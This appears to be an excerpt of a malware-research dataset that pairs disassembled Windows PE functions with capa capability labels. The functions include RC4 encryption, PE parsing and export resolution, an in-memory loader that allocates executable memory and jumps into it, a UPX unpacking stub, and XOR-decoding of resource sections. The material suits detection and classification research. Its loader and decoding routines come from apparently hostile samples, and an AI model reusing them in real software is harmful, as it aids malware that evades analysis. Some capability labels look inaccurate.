joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1019e706
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102c8a60], 0
mov byte [0x102c8a64], 0
mov dword [0x102c8a58], 0x37b
mov dword [0x102c8a5c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1019e829
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [0x102c8a68], 0
add ecx, 0xffffe110
mov dword [ebp - 0x28], eax
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x102c8a60]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x102c8a68], esi
mov dword [0x102c8a54], ecx
mov eax, esi
cdq
mov ecx, dword [ebp - 0x2c]
idiv ecx
mov dword [0x102c8a60], edx
mov dword [0x102c8a58], 0x2010
mov esi, dword [ebp - 0x28]
mov cl, byte [ebx + esi]
mov byte [0x102c8a64], cl
mov dword [0x102c8a54], 0x21db
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x102c8a64]
mov edx, dword [0x102c8a60]
mov byte [ebx + edx], cl
mov edx, dword [0x102c8a5c]
add edx, 1
mov dword [0x102c8a5c], edx
cmp edx, 0x100
mov dword [ebp - 0x30], edx
jl 0x1019e865
jmp 0x1019e878
mov eax, 0xfffff8ce
xor ecx, ecx
mov dword [0x102c8a54], 0x6f3
mov dword [0x102c8a5c], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x1019e750
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x102c8a54], 0x195
mov dword [0x102c8a58], 0xfffff8ce
mov eax, dword [0x102c8a5c]
add eax, 1
mov dword [0x102c8a5c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1019e829
jmp 0x1019e803
mov eax, dword [0x102c8a58]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x1019e750
mov dword [0x102c8a54], 0x1374
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1019e951
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x102c8a54]
add esi, 0xffffce9a
mov dword [0x102c8a58], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x1019ea30
mov eax, dword [ebp - 0x34]
mov ecx, dword [0x102c8a58]
add ecx, 0xffffeafe
mov dword [0x102c8a54], ecx
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.1019f23e
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x40], ecx
mov ecx, dword [ebp - 0x38]
mov dword [edx + 4], ecx
mov dword [0x102c8a54], 0x1ac0
mov dword [0x102c8a58], 0x1c7f
add ecx, 0x1e77
mov esi, dword [ebp - 0x38]
cmp esi, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
je 0x1019ea27
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x1028c3e8]
mov dl, byte [eax + 0x1028c3b9]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
jne 0x1019ea30
lea eax, [ebp - 0x24]
mov dword [ebp - 0x44], eax
call fcn.1019fc3c
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
call fcn.1019fcfa
cmp eax, 0
mov dword [ebp - 0x34], eax
jne 0x1019e980
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x1019ea86
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov ecx, dword [0x102c8a54]
add ecx, 0x262c
mov dword [0x102c8a58], ecx
mov dword [ebp - 0x10], eax
call fcn.1019f52d
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x1019ead4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [0x102c8a58], 0x1f67
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x102c8a54], 0x1d30
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x1019ebfc
jmp 0x1019eb22
mov al, byte [ebp - 0x31]
test al, 1
jne 0x1019eb63
jmp 0x1019eb88
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jmp 0x1019ebe0
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x31]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x48], eax
jne 0x1019ebae
jmp 0x1019eb19
mov eax, dword [ebp - 0x4c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov dword [0x102c8a58], 0xd8c
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
jmp 0x1019ebfc
xor eax, eax
mov ecx, dword [ebp - 0x4c]
add ecx, 2
mov edx, dword [ebp - 0x50]
add edx, 1
mov esi, dword [ebp - 0x2c]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], eax
jb 0x1019ebe0
jmp 0x1019ebfc
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x54]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x31], cl
je 0x1019eb19
jmp 0x1019eb39
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x48], edx
jmp 0x1019ebae
mov eax, dword [ebp - 0x30]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1019f08a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa0
call fcn.1019e524
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x1019f16d
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x1019f19a
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x18], ecx
je 0x1019f1b2
jmp 0x1019f0b7
mov eax, dword [esp + 0x14]
mov dword [esp + 0x24], eax
jmp 0x1019f0ad
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.1019ecac
lea ecx, [0x1019ef6c]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x68], edx
mov dword [esp + 0x88], 0x133800
mov dword [0x102c8a58], 0x2482
mov edx, dword [0x102c8a40]
mov dword [esp + 0x70], edx
mov edx, dword [0x102c8a44]
mov dword [esp + 0x7c], edx
mov edx, dword [0x102c8a48]
mov dword [esp + 0x90], edx
mov edx, dword [0x102c8a4c]
mov dword [esp + 0x94], edx
mov edx, dword [0x102c8a50]
mov dword [esp + 0x5c], edx
mov dword [0x102c8a54], 0x9a0
mov dword [esp + 0x10], eax
mov dword [esp + 0x1c], ecx
jmp 0x1019f19a
lea eax, [esp + 0x38]
mov dword [0x102c8a54], 0x1e10
mov dword [esp + 0xc], eax
call fcn.1019f697
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x14], ecx
je 0x1019f0f2
jmp 0x1019f0e8
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x1019f0ce
jmp 0x1019f0b7
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x64], ecx
mov edx, dword [esp + 0x18]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x8c], esi
mov dword [0x102c8a54], 0x1a5a
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1019e951
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x14], eax
jmp 0x1019f0e8
Function at 0x1019f388
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x102c8a5c], 0
mov dword [0x102c8a60], 0
mov dword [0x102c8a6c], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x1019f3f2
jmp 0x1019f3fa
mov eax, 0x215
mov ecx, dword [0x102c8a5c]
mov edx, dword [0x102c8a60]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], esi
jmp 0x1019f418
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [0x102c8a54]
add ecx, 0xfffff828
mov edx, eax
mov esi, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov edi, 0x100
mov dword [0x102c8a54], ecx
add edx, 1
mov dword [ebp - 0x34], eax
mov eax, edx
cdq
idiv edi
mov dword [0x102c8a5c], edx
mov dword [0x102c8a58], 0x9f5
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv edi
mov dword [0x102c8a60], edx
mov dword [0x102c8a54], 0x1445
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x102c8a64], cl
mov dword [0x102c8a54], 0x110d
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x102c8a58]
add edx, 0x792
mov dword [0x102c8a54], edx
mov cl, byte [0x102c8a64]
mov edx, dword [0x102c8a60]
mov byte [edi + edx], cl
mov dword [0x102c8a58], 0x22b1
mov edx, dword [0x102c8a5c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x102c8a60]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x102c8a6c], ebx
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
mov cl, byte [edx + ecx]
xor cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x34]
mov byte [ebx + edx], cl
mov dword [0x102c8a54], 0x9ed
add edx, 1
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov dword [ebp - 0x20], edx
je 0x1019f3f2
jmp 0x1019f3d0
Function at 0x1019f697
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x102c8a54]
add eax, 0xfffffa27
mov dword [0x102c8a54], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x102c8a54], 0x195f
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1019f785
xor eax, eax
mov dword [0x102c8a58], 0x2029
mov dword [ebp - 0x14], eax
jmp 0x1019f7fb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
je 0x1019f767
jmp 0x1019f6df
mov dword [0x102c8a54], 0x2220
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], eax
jl 0x1019f785
jmp 0x1019f6f3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0xe], 0x6c
sete dl
mov byte [ebp - 0x21], dl
mov eax, 1
mov cl, byte [ebp - 0x21]
test cl, 1
mov dword [ebp - 0x14], eax
jne 0x1019f7fb
jmp 0x1019f6df
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1019f72a
jmp 0x1019f6df
mov dword [0x102c8a54], 0x11fd
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1019f7a4
jmp 0x1019f6df
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], edx
je 0x1019f6f3
jmp 0x1019f707
mov dword [0x102c8a54], 0x2293
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1019f6df
mov eax, dword [0x102c8a58]
add eax, 0xc29
mov dword [0x102c8a54], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1019f6df
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1019f753
jmp 0x1019f6df
mov eax, dword [ebp - 0x14]
add esp, 0x24
pop ebp
ret
Function at 0x4c81c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7f000]
push edi
or ebp, 0xffffffff
jmp 0x4c81e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c81e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c81d8
mov eax, 1
add ebx, ebx
jne 0x4c81fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c820c
jne 0x4c822b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c822b
dec eax
add ebx, ebx
jne 0x4c8218
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c81f0
add ebx, ebx
jne 0x4c8227
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c827d
xor ecx, ecx
sub eax, 3
jb 0x4c8243
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c82b2
sar eax, 1
mov ebp, eax
jmp 0x4c824e
add ebx, ebx
jne 0x4c824e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c821c
inc ecx
add ebx, ebx
jne 0x4c825c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c821c
add ebx, ebx
jne 0x4c8269
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c825e
jne 0x4c827a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c825e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c829c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c828e
jmp 0x4c81de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c829c
add edi, ecx
jmp 0x4c81de
pop esi
mov edi, esi
mov ecx, 0x3c51
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c82ba
cmp byte [edi], 0x1c
jne 0x4c82ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c82bf
lea edi, [esi + 0xc5000]
mov eax, dword [edi]
or eax, eax
je 0x4c832e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc8e30]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc8ef8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c82ec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc8efc]
or eax, eax
je 0x4c8328
mov dword [ebx], eax
add ebx, 4
jmp 0x4c8309
call dword [esi + 0xc8f0c]
mov ebp, dword [esi + 0xc8f00]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c8362
sub esp, 0xffffff80
jmp 0x47cbec
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x407ef8
mov ecx, 0x225c2fe0
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..rsrc_1
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x64143b55
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40fc62
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x40fd5a
lea eax, [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x40fd18
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x40fcd1
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
jmp 0x40fd16
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x40fcf3
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jg 0x40fd16
mov byte [ebp - 1], 0
push 0
lea eax, [ebp - 1]
push eax
push 1
push 0x4ccf
call fcn.00413353
add esp, 0x10
jmp 0x40fce8
jmp 0x40fd58
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x40fd4e
mov byte [ebp - 2], 0
push 0
push 0x43e2
push 0
push 1
lea eax, [ebp - 2]
push eax
push 1
push 1
push 0x1d87
call fcn.0041cdfc
add esp, 0x20
jmp 0x40fd58
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
jmp 0x40fd6c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x3c]
push 1
call fcn.0040db71
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4102a9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x4103aa
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x24]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x41036a
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x410330
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x410368
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
add ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x4103a8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
movzx eax, byte [eax]
test eax, eax
je 0x410396
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x410394
push 0
push 0x19cc
call fcn.00413019
pop ecx
pop ecx
jmp 0x4103a8
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x4103cc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5c], eax
push 0x32e5
push 0x63b8
push 0x330c
push dword [ebp - 0x5c]
push 1
call fcn.0040dfb0
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x4105b1
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x410652
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x410633
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x410609
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
and dword [eax], 0
jmp 0x410631
push 0
push 0x11af
push 0x2423
push 0x25c8
push 0xe5f
push 0x12e7
push 0xb3d
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
jmp 0x410650
push 0x4d95
push 0
push 1
push 0x5468
push 0x1021
push 0
call fcn.00420cc3
add esp, 0x18
jmp 0x41066a
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x20], eax
push 0x39bc
push 1
push dword [ebp - 0x20]
call fcn.0040a163
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x41083e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x4108d2
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x4108b8
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x41089c
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
jmp 0x4108b6
push 0
push 0
push 0
push 0
push 0x15
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x4108d0
